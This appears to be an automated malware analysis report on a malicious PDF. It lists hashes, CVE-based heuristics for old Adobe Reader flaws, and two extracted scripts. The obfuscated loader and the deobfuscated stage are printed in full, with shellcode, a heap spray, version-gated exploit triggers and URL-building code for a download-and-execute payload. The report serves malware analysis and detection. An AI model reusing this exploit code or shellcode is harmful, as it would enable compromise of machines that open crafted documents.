Malicious PDF — malware analysis report

Static analysis result for SHA-256 5ac4feae8f18947a…

MALICIOUS

PDF

12.5 KB Authoring application: Tefomidodgxapeqova (via Wofeheypeboxafiuejfei) First seen: 2013-05-18
MD5: dcd022fb9e1d894d668bc80d0386d611 SHA-1: a7f824009bcd7e1d080e4243d9a3edf917db6a2c SHA-256: 5ac4feae8f18947a27f0d5a91e728e236e7552da57e062f3de499556c18836c3
408 Risk Score

Malware Insights

MITRE ATT&CK
T1059.007 JavaScript T1203 Exploitation for Client Execution T1566.001 Spearphishing Attachment

The PDF file contains embedded JavaScript that leverages multiple known vulnerabilities (CVE-2009-4324, CVE-2009-0927, CVE-2007-5659, CVE-2008-2992) in Adobe Reader. The JavaScript appears to be designed to download and execute a second-stage payload from a URL constructed from the document's author metadata. The ML classifier also strongly indicated maliciousness.

Machine Learning

  • Nyx PDF Classifier malicious score 1.0000

Heuristics 9

  • media.newPlayer — CVE-2009-4324 critical CVE exact CVE_2009_4324
    PDF JavaScript calls media.newPlayer — CVE-2009-4324 is a use-after-free in Adobe Reader's multimedia plugin triggered by media.newPlayer(). Actively exploited as a zero-day in December 2009. (identified after JavaScript deobfuscation)
  • Collab.getIcon — CVE-2009-0927 critical CVE exact CVE_2009_0927
    PDF JavaScript calls Collab.getIcon — CVE-2009-0927 is a stack buffer overflow in Adobe Reader triggered by Collab.getIcon() with a crafted argument. Allows arbitrary code execution. (identified after JavaScript deobfuscation)
  • Collab.collectEmailInfo — CVE-2007-5659 critical CVE exact CVE_2007_5659
    PDF JavaScript calls Collab.collectEmailInfo — CVE-2007-5659 is a buffer overflow in Adobe Reader triggered by a long argument or heap-sprayed message field passed to Collab.collectEmailInfo(). Part of a series of Acrobat JS API exploits. (identified after JavaScript deobfuscation)
  • util.printf — CVE-2008-2992 critical CVE exact CVE_2008_2992
    PDF JavaScript calls util.printf() — CVE-2008-2992 is a stack buffer overflow in Adobe Reader triggered by a long format-specifier argument. Widely exploited in the wild after disclosure. (identified after JavaScript deobfuscation)
  • Pidief-style multi-CVE JavaScript dispatcher critical CVE likely PDF_PIDIEF_MULTI_CVE_DISPATCH
    A single JavaScript body branches on app.viewerVersion and invokes two or more of the canonical Reader sinks (Collab.collectEmailInfo, Collab.getIcon, util.printf with a field-width format string). This is the 2009-2010 Pidief.J multi-exploit landing template: a per-version dispatcher that fires the matching CVE chain for whichever Reader version opens the file.
  • Multi-CVE Adobe Reader JavaScript exploit kit critical PDF_ADOBE_READER_MULTI_CVE_JS_KIT
    One recovered JavaScript stage contains multiple version-gated Adobe Reader exploit branches. This is stronger evidence than independent API keywords: the PDF is selecting old Reader vulnerabilities by viewer version and running heap-sprayed Acrobat JavaScript exploit paths.
  • JavaScript action low 1 related finding PDF_JAVASCRIPT
    PDF contains a /JavaScript action. Generic JavaScript is common in benign forms; specific dangerous APIs are scored by separate rules.
  • Embedded JS stream low PDF_JS
    PDF references a /JS stream. Generic JavaScript is common in benign forms; specific dangerous APIs are scored by separate rules.
  • Suspicious extracted artifact info EXTRACTED_FILE_STATIC_TRIAGE
    One or more files extracted from inside this sample matched static suspicious-content checks such as script obfuscation, encoded payload blobs, packed data, or execution/download terms.

Extracted artifacts 2

Files carved from inside the sample during analysis.

FilenameKindSourceSize
javascript_obj0014_000.js pdf-javascript-stream PDF /JS object 14 at offset 0x2925 2633 bytes
SHA-256: 30ce33325466ffcf3b815d979dd699461fd4ef47fe0d6bfd7958c1ceed436490
Preview script
First 1,000 lines of the extracted script
// 6ed7dc2af4c4659170c09b835a3aa753;
// fda6015ebae0a8ecd41f8c316d0e82e6
var d=88-87;
// 6679f0a7e43fa22143a1e4e4357a133e
var z="from"+"Char"+"Code";
// e63a823a3b21b6fc87ebbd1fec14d1d9
var l=65;
// 787597185eacf308c987c90d73efba11
var b=new String("char"+"Code"+"At");
// c12ac8b338b5e2335d19fe5efe883a94
var h="getPa3y7".substr(0,5)+"geNumYbfa".substr(0,5)+"6fOWordsf6O".substr(3,5);
// 24945e02968b86d0d920f0112555d55b
var bS=100-100;
// 25aef9142f5fb6a0353e9ec5ab10aa86
var cL=String;
// e61f5d987aeb5b860eba7bb52585e203
var r="subs"+"tr";
// f458f22bd07a5e7285fc66258d230426
var dE=1;
// 66b7b476a51b1e5d78b5ad27bfab24ad
var wZ=String("%GUy7".substr(0,1));
// 7df619b5b7b6a5f126c2d01a0598ef1b
var n=new String("ch"+"ar"+"Co"+"defNZ".substr(0,2)+"At");
// 3c6fa04b538611e9798c26524fb329e9
var nI=String("evX1a".substr(0,2)+"al");
// 5a4227804ce36fc1f07db55e8cd324ec
var sX=new String("get3BO2".substr(0,3)+"PagcdS".substr(0,3)+"dSaeNtaSd".substr(3,3)+"hWoV7yX".substr(0,3)+"7mWQrdQ7Wm".substr(4,2));
// e37ee6f4963c3a5e76f0ef7843dd6d72
var bM=String("unes"+"cape");
// 7679bde12319f0f23fd495558257d1e6
var cT=new String("le"+"ngHBD".substr(0,2)+"mjkthmjk".substr(3,2));
// 32c7490accd7a909463bfb1ba28692e7
var v=this;
// 98af8516be3f22cd1ab51625d398822c
var p=10-8;
// a6bf031de9c4bb656b5d51253fa405ab
function lC(cR,rC){return cR[r](rC,p)};
// 5430db6308979285d3e8a9e398cde1c4
function wD(zG,mD){return zG+mD};
// 955e22996d496d28eca3a6957eb2ddbc
function t(cR,j){return cR[j]};
// 3be7422f8f120e3663a09491de69b126
function dY(cR){return cR[cT]-p};
// df99b6f852db83e4b03069c3ec38d3c6
function uF(tY,rC){return tY[n](rC)};
// 17531f4be5d265107f1641c052306620
function sP(tS,kD){return tS^kD;};
// 25c168a73f5f45b088a6e8112303d4f2
var pW=v[bM];
// 3bddf4d4308bc881a5f5c4dffb6474ba
function yL(zG,mD){return zG-mD};
// e4e7689d1314db22f705119835149eaf
function jE(aD){return v[sX](dE,aD)};
// d9e8f6399156f11cae0b3a2fba3b2d81
var hE=v[nI];
// 4b9ef1cbb98323cb577f9ffd00876ae3
var b=v[b];
// 76b0164366b2e3daf7b038a93db96583
var sR=new cL();
// 1cbebf735e4fa50e7b06b406abdc4178
var lI=v[h](dE);
// dfd5f20df00805d55d4da57a894db7b4;
// 07f9db5c125e2cd7e7e08e54e001586a
function qX(aD){
// da92fffec286ac75d9f129530269dd7b
var x=jE(aD);
// a89711bba576606a9ee5077d81de7e23
rC=dY(x);
// a3ac0d6b8c668294492d6a9d02d115d5
f=lC(x,rC);
// 6d4692276841a69b5ee02da9a5b23d3b
vG = pW(wD(wZ,f));return uF(vG,bS);};for(var aD=bS;aD<lI;aD++){
// 071ce0e7a11aaad3896f0edd2ffe25da
var yN=qX(aD);
// 8dc2abdd40914eb51610ce0888adc12c
var hC=sP(yN,l);
// 7cb18aabaedfa66b1718d248683e3904
sR+=t(cL,z)(hC);
// e0315d49b67ecfcec066094940de9b9c
}hE(sR);
legacy_pdfkit_stage_000.js deobfuscated-js getPageWords-XOR Pidief stage normalized at offset 0x0 3770 bytes
SHA-256: d3cf04bb55470fa53e41731035aec9f6b019cf60ab09a15cd03a36830a14cf48
Detection
ClamAV: No threats found
Obfuscation or payload: likely
Carved artifact contains 6 eval/decoder/string-building token(s).
Preview script
First 1,000 lines of the extracted script
���
	var src_table = 'abcdefghijklmnopqrstuvwxyzABCDEFGHIJKLMNOPQRSTUVWXYZ01234567890/.:_-?&=%';
	var dest_table= 'JQ2cS-uPHtBa/gCNDfU6Ej:lwxnM1L0k&sOI9imTpqXbd3GA%?0WY48y_V.ZvrRFe7zhKo5=';

var hwTl9Dn = new Array();  

function get_shellcode(name) {

	var u = get_url();
	u = for_unescape(u);

	var s = "%uC033%u8B64%u3040%u0C78%u408B%u8B0C%u1C70%u8BAD%u0858%u09EB%u408B%u8D34%u7C40%u588B%u6A3C%u5A44%uE2D1%uE22B%uEC8B%u4FEB%u525A%uEA83%u8956%u0455%u5756%u738B%u8B3C%u3374%u0378%u56F3%u768B%u0320%u33F3%u49C9%u4150%u33AD%u36FF%uBE0F%u0314%uF238%u0874%uCFC1%u030D%u40FA%uEFEB%u3B58%u75F8%u5EE5%u468B%u0324%u66C3%u0C8B%u8B48%u1C56%uD303%u048B%u038A%u5FC3%u505E%u8DC3%u087D%u5257%u33B8%u8ACA%uE85B%uFFA2%uFFFF%uC032%uF78B%uAEF2%uB84F%u2E65%u7865%u66AB%u6698%uB0AB%u8A6C%u98E0%u6850%u6E6F%u642E%u7568%u6C72%u546D%u8EB8%u0E4E%uFFEC%u0455%u5093%uC033%u5050%u8B56%u0455%uC283%u837F%u31C2%u5052%u36B8%u2F1A%uFF70%u0455%u335B%u57FF%uB856%uFE98%u0E8A%u55FF%u5704%uEFB8%uE0CE%uFF60%u0455";
	s+= u;
	return unescape(s);
}


function get_url(){ 
	var str = this.info.author;
	var ret = encode_str(str, dest_table, src_table);
	return ret;
};


function encode_str(str, src_table, dest_table){

	var ret="";
	for(var i=0; i < str.length; i++)
	{
		var index = src_table.indexOf(str[i]);
		if(index > -1 )
		{
			ret += dest_table[index];
		}
	}

	return ret;
};


function for_unescape(str)
{
	var out = "";

    str = bin2hex(str);
    g = Math.round(str.length / 4);
	if (g != str.length /4) str+="00";

	for(var i=0; i < str.length; i+=4)
	{
		out+="%u" + str.substr(i+2, 2) + str.substr(i, 2);
	}

	return out;	
}


function bin2hex (s){

    var i, f = 0, a = [];
    
    s += '';
    f = s.length;
    
    for (i = 0; i<f; i++) {
        a[i] = s.charCodeAt(i).toString(16).replace(/^([\da-f])$/,"0$1").toUpperCase();
    }
    
    return a.join('');
}



function Rq4v1qCC(PDrScZj4, ez5pL6){    

	while (PDrScZj4.length * 2 < ez5pL6){      
		PDrScZj4 += PDrScZj4;    
	}    

	PDrScZj4 = PDrScZj4.substring(0, ez5pL6 / 2);    return PDrScZj4;  
}  

function x8EvTm(I7T0vko5){  

	var qPBt7D = 0x0c0c0c0c;        

	NRjjR6W6 = get_shellcode("pdf");

	if (I7T0vko5 == 1){qPBt7D = 0x30303030;}

	var FeQq1Vv = 0x400000;   
	var tsSzSc = NRjjR6W6.length * 2;    var ez5pL6 = FeQq1Vv - (tsSzSc + 0x38);    
	var PDrScZj4 = unescape("%u9090%u9090");    

	PDrScZj4 = Rq4v1qCC(PDrScZj4, ez5pL6);    

	var x62RaBM3 = (qPBt7D - 0x400000) / FeQq1Vv;    

	for (var Ojafoj = 0; Ojafoj < x62RaBM3; Ojafoj ++ ){    
		hwTl9Dn[Ojafoj] = PDrScZj4 + NRjjR6W6;    
	}
}  

function U2UcYKr(){   

var IyIFVe = app.viewerVersion.toString();          

	if (IyIFVe > 8)
	{
		x8EvTm(1);
		var iVvCdy8 = "12999999999999999999";          

		for (RvU5gmOE = 0; RvU5gmOE < 276; RvU5gmOE ++ )
		{
			iVvCdy8 += "8";   
		}

		util.printf("%45000f", iVvCdy8);      
	}


if (IyIFVe < 8){

	x8EvTm(0);    
	var UNXaCTHb = unescape("%u0c0c%u0c0c");    

	while (UNXaCTHb.length < 44952) UNXaCTHb += UNXaCTHb;    

	this .collabStore = Collab.collectEmailInfo({        subj : "", msg : UNXaCTHb});      
}       

if (IyIFVe < 9.1){

	if (app.doc.Collab.getIcon)
	{
		x8EvTm(0); 
        var eGREUTNw = unescape("%09");          
		while (eGREUTNw.length < 0x4000)eGREUTNw += eGREUTNw;

		eGREUTNw = "N." + eGREUTNw;    

		app.doc.Collab.getIcon(eGREUTNw);   
	}
}   
if (IyIFVe == 9.2){        
	x8EvTm(1);              
	var sf="1.000000000.000000000.1337 : 3.13.37";
	util.printd(sf, new Date());           
	try {	
		media.newPlayer(null);              
	} catch(e) {}
	util.printd(sf, new Date());
}

}

U2UcYKr();

��������������w�9�

Open this report in the interactive analyzer, or submit your own file for analysis.